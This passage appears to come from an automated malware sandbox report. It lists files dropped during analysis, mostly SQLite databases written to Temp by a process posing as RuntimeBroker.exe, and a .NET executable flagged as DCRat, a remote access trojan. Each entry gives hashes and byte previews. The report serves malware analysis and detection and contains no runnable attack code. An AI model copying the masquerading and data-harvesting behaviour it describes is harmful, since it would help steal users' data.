File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cRZzBXvpqV

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cmKUBBjcYL

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cpmZ43SNab

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dOagiuIwNS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\dP3QW1Pf06

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dXyDHuj53P

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dYa8iOirTT

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.373660689688184
Encrypted:	false
SSDEEP:	3:Iv9QefTgLn:IvzTgLn
MD5:	51FDF6061429B8D9C7299B24CA9EEA47
SHA1:	266E8558A340D1E72286C6AF7D9B66ED526D90EA
SHA-256:	A5808059C15FFB8271136135AE406AA3F8D83C7AA44044B498B20A87757F79A2
SHA-512:	7688458BD4BDB5D467FD28863DC240DBAFAF5CBA9F173B35C9F27F1C039E172F4823AEDCC42562C2D46737FC6EA04F6EF1148C50EA060C3A88689ABFF7DFE5EF
Malicious:	false
Preview:	R0Xu8jrll8zeAkfgEMH6Y8wIn

C:\Users\user\AppData\Local\Temp\dbQ3frFl0R

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ddNhdAxFZA

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ddzOjnZuHw

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\decFF62.tmp

Download File

Process:	C:\Users\user\Desktop\t8xf0Y1ovi.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\AppData\Local\Temp\dtjyQTMLRe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eVpAJSGXnM

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f0gtQpKSvE

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f6GP4m9PD1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f7APFMuuMr

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fCLylG8tRq

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fFcL14UsNk

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\feXz5cHBpE

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g8g6fZdD4v

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gIS7OC6mBo

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gPxx4tvrr1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gdLlf7uVYm

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gsa3w8XvJW

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gz7cp5dWVe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
